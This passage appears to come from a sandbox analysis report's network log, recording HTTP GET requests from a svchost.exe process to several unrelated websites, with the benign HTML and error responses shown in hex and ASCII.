2023-07-27 19:54:32 UTC	5644	IN	Data Raw: 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 6c 61 6e 64 73 63 61 70 65 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 75 73 65 72 5f 75 70 6c 6f 61 64 2f 4e 61 63 68 68 61 6c 74 69 67 6b 65 69 74 2f 63 73 6d 5f 6d 65 74 61 6c 5f 72 65 63 79 63 6c 65 73 5f 66 6f 72 65 76 65 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 Data Ascii: r.jpg"><source media="(max-width: 767px) and (orientation:landscape)" srcset="/fileadmin/user_upload/Nachhaltigkeit/csm_metal_recycles_forever.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/file
2023-07-27 19:54:32 UTC	5660	IN	Data Raw: 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 Data Ascii: srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	21205	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:32 UTC	5664	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-07-27 19:54:32 UTC	5664	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jul 2023 19:54:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Thu, 27 Jul 2023 19:42:19 GMT Content-Language: en Last-Modified: Thu, 27 Jul 2023 19:42:19 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VnNvZIZ40UKahb8N7WLpZOBGtqyhaH9A4BXrbRZ%2BSpj7OCDiPdwMLMd%2B94EM6J4%2FHR5dkUSv0jq23D%2F%2Fcey8e51Hgjz9zocNjNVx7z8DPsJaKHo9%2FixmcfzgyGLsYdMQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76f517cb33675-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:54:32 UTC	5665	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-07-27 19:54:32 UTC	5665	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	50141	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:35 UTC	75	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-07-27 19:53:35 UTC	75	IN	HTTP/1.1 406 Not Acceptable Date: Thu, 27 Jul 2023 19:53:35 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-07-27 19:53:35 UTC	75	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	21213	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:32 UTC	5664	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-07-27 19:54:32 UTC	5665	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:54:32 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "61e91823-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-07-27 19:54:32 UTC	5665	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
2023-07-27 19:54:32 UTC	5681	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-07-27 19:54:32 UTC	5697	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-07-27 19:54:32 UTC	5713	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-07-27 19:54:32 UTC	5729	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	21227	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:32 UTC	5739	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-07-27 19:54:33 UTC	5740	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:54:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=e405c24eaabcb0fc1b3898629ad1e292; path=/; HttpOnly Last-Modified: Thu, 27 Jul 2023 19:54:33 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1q67Cb6bNxy8HU5%2FGIXVYjMU7Ev5LeZbCPTPa%2BY%2BEP4L0DvWGmwAYORf8OJEsT9gqxNneWOuQUo%2FPqDeumJb1B4rDAHTKiNoTA9vQ0BAqhXKcjL%2BRId2W36ZBjc67EFhkBY21gNpz7g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76f54898d2c33-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:54:33 UTC	5741	IN	Data Raw: 37 63 34 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c4c<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-07-27 19:54:33 UTC	5742	IN	Data Raw: 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 Data Ascii: /rokbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/engine
2023-07-27 19:54:33 UTC	5743	IN	Data Raw: 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 Data Ascii: s?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/syste
2023-07-27 19:54:33 UTC	5744	IN	Data Raw: 76 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e Data Ascii: v.min.js"></script> <link rel="stylesheet" href="/media/gantry5/engines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><lin
2023-07-27 19:54:33 UTC	5746	IN	Data Raw: 74 61 6c 2e 70 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: tal.png" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-
2023-07-27 19:54:33 UTC	5747	IN	Data Raw: 3d 22 23 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a Data Ascii: ="#" data-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"><span class="g-menu-item-content">
2023-07-27 19:54:33 UTC	5748	IN	Data Raw: 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 Data Ascii: ><span class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent
2023-07-27 19:54:33 UTC	5750	IN	Data Raw: 69 74 69 63 61 73 2d 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f Data Ascii: iticas-institucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/
2023-07-27 19:54:33 UTC	5751	IN	Data Raw: 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 Data 